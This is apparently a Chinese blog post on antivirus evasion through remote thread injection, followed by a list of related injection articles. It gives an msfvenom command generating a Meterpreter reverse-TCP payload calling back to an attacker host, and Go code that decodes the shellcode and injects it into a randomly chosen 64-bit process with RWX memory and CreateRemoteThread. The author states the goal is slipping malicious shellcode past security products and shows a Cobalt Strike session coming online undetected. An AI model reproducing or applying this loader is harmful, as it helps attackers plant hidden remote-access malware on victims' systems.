我的免杀之路:远程线程注入

简介: 远程线程注入技术能实现在Windows系统下进程的隐藏。其主要核心在于一个Windows API函数CreateRemoteThread,通过它可以在另外一个进程中注入一个线程并执行。

简述


远程线程注入技术能实现在Windows系统下进程的隐藏。其主要核心在于一个Windows API函数CreateRemoteThread,通过它可以在另外一个进程中注入一个线程并执行。在提供便利的同时,正是因为如此,使得系统内部出现了安全隐患。常用的系统注入手段有两种:一种是远程DLL注入,另一种是远程代码注入。后者相对起来更加隐蔽,也更难被杀软检测。


实现思路


用CS生成RAW格式的Payload或者用MSF生成Hex Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o payload.hex LHOST=xx.xx.xx.xx LPORT=4444


var payload string = "<shellcode in here>"


利用DecodeString将十六进制字符转化成字节

图片1.png

关于golang的nil,简单说下。在go代码中,nil简直无处不在,其用的最多的场景是对err的判断。当err == nil时,说明未出现错误。当err != nil时,说明函数出现错误,需要处理,所以函数出错时,需要此处提示自己“Error decoding shellcode”。

 

接着利用Get64BitProcesses函数获取64位进程,再随机生成进程PID。

processInjectionNotes := inject.Get64BitProcesses()

RandomPID := inject.SelectRandomElement(processInjectionNotes)


然后就到了远程线程注入的核心:CreateRemoteThread 函数,这里简述一下

CreateRemoteThread 是一个 Windows API 函数,它能够创建一个在其它进程地址空间中运行的线程。CreateRemoteThread 函数有7个参数,如下:

CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId)


每个参数的作用如下:

hProcess:创建线程的进程的句柄,而且句柄必须具有PROCESS_CREATE_THREAD、PROCESS_QUERY_INFORMATION、PROCESS_VM_OPERATION、PROCESS_VM_WRITE和PROCESS_VM_READ访问权限,并且在某些平台上没有这些权限可能会失败。

lpThreadAttributes:指向SECURITY_ATTRIBUTES结构的指针,该结构为新线程指定安全描述符并确定子进程是否可以继承返回的句柄。如果lpThreadAttributes为 NULL,则线程获得一个默认的安全描述符并且句柄不能被继承。线程的默认安全描述符中的访问控制列表 (ACL) 来自创建者的主要令牌。

dwStackSize:堆栈的初始大小,以字节为单位。系统将此值舍入到最近的页面。如果此参数为 0(零),则新线程使用可执行文件的默认大小。

lpStartAddress:指向要由线程执行的LPTHREAD_START_ROUTINE 类型的应用程序定义函数的指针,表示远程进程中线程的起始地址。该函数必须存在于远程进程中。

lpParameter:指向要传递给线程函数的变量的指针。

dwCreationFlags:控制线程创建的标志。

lpThreadId:指向接收线程标识符的变量的指针。如果此参数为NULL,则不返回线程标识符。


实现代码如下:

func RunCreateRemoteThread(sc []byte, pid int) {

fmt.Printf("\n[+] Injecting into %d", pid)

processHandle, _ := inject.OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uint32(pid))

memptr := inject.VirtualAllocEx(processHandle, uintptr(0), len(sc), 0x3000, 0x40)

inject.WriteProcessMemory(processHandle, memptr, sc)

inject.CreateRemoteThread(processHandle, 0, 0, memptr, 0, 0, 0)

inject.CloseHandle(processHandle)

}


(1) 利用Windows API OpenProcess函数打开现有的本地进程;

(2) 再利用VirtualAllocEx函数指定进程的虚拟地址空间内保留、提交或更改内存区域的状态;

(3) 将进程的虚拟地址中的内存区域状态写入到指定进程中的内存区域;

(4) 在上述指定的进程的虚拟地址空间中创建一个线程;

(5) 完成注入,关闭此对象句柄。

备注:其实很好理解,一句俗语形容的很好“一颗老鼠屎坏了一锅粥”,而这颗老鼠屎就是我们的恶意shellcode,我的目的是将其注入到这锅粥里面,这在一定程度上就绕过了安全设备的检测。

最后的CS上线免杀效果:


图片2.png

图片3.png

图片4.png

图片5.png


参考资料:

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory

https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle



目录
相关文章
|
安全 API Windows
3.1 DLL注入:常规远程线程注入
动态链接库注入技术是一种特殊的技术,它允许在运行的进程中注入DLL动态链接库,从而改变目标进程的行为。DLL注入的实现方式有许多,典型的实现方式为远程线程注入,该注入方式的注入原理是利用了`Windows`系统中提供的`CreateRemoteThread()`这个API函数,该函数第四个参数是准备运行的线程,我们将`LoadLibrary()`函数填入其中,这样就可以执行远程进程中的`LoadLibrary()`函数,进而将我们自己准备的DLL加载到远程进程空间中执行,DLL在被装载后则会自动执行初始化部分。
|
5月前
|
容器
多线程时Autowired自动注入问题
多线程时Autowired自动注入问题
179 2
|
10月前
|
网络协议 安全 API
9.9 Windows驱动开发:内核远程线程实现DLL注入
在笔者上一篇文章`《内核RIP劫持实现DLL注入》`介绍了通过劫持RIP指针控制程序执行流实现插入DLL的目的,本章将继续探索全新的注入方式,通过`NtCreateThreadEx`这个内核函数实现注入DLL的目的,需要注意的是该函数在微软系统中未被导出使用时需要首先得到该函数的入口地址,`NtCreateThreadEx`函数最终会调用`ZwCreateThread`,本章在寻找函数的方式上有所不同,前一章通过内存定位的方法得到所需地址,本章则是通过解析导出表实现。
9.9 Windows驱动开发:内核远程线程实现DLL注入
|
11月前
|
Java Spring
Spring在多线程中bean的注入问题
Spring在多线程中bean的注入问题
117 0
|
网络协议 安全 API
驱动开发:内核远程线程实现DLL注入
在笔者上一篇文章`《内核RIP劫持实现DLL注入》`介绍了通过劫持RIP指针控制程序执行流实现插入DLL的目的,本章将继续探索全新的注入方式,通过`NtCreateThreadEx`这个内核函数实现注入DLL的目的,需要注意的是该函数在微软系统中未被导出使用时需要首先得到该函数的入口地址,`NtCreateThreadEx`函数最终会调用`ZwCreateThread`,本章在寻找函数的方式上有所不同,前一章通过内存定位的方法得到所需地址,本章则是通过解析导出表实现。
4932 0
驱动开发:内核ShellCode线程注入
还记得`《驱动开发:内核LoadLibrary实现DLL注入》`中所使用的注入技术吗,我们通过`RtlCreateUserThread`函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入`ShellCode`代码实现反弹Shell,这里需要注意一般情况下`RtlCreateUserThread`需要传入两个最重要的参数,一个是`StartAddress`开始执行的内存块,另一个是`StartParameter`传入内存块的变量列表,而如果将`StartParameter`地址填充为`NULL`则表明不传递任何参数,也就是只在线程中执行`ShellCode`代码,利用
|
安全 Java
为什么直接通过 @Autowired 注入的 HttpServletRequest 没有线程安全的问题
我们在各个地方注入依赖时,大多数情况下都是单例的。为什么直接通过 @Autowired 注入的 HttpServletRequest 没有线程安全的问题呢?带着这个问题我做了如下笔记。
221 0
|
Windows
突破SESSION 0 隔离的远线程注入
在Windows XP,Windows Server 2003以及更早的版本中,第一个登录的用户以及Windows的所有服务都运行在Session 0上,这样的做法导致用户使用的应用程序可能会利用Windows的服务程序提升自身的权限,为此,在后续的Windows版本中,引入了一种隔离机制,普通应用程序已经不再session 0中运行。
147 0
|
XML 安全 前端开发
Spring注入的成员属性HttpServletRequest是线程安全的吗?【享学Spring MVC】(下)
Spring注入的成员属性HttpServletRequest是线程安全的吗?【享学Spring MVC】(下)
Spring注入的成员属性HttpServletRequest是线程安全的吗?【享学Spring MVC】(下)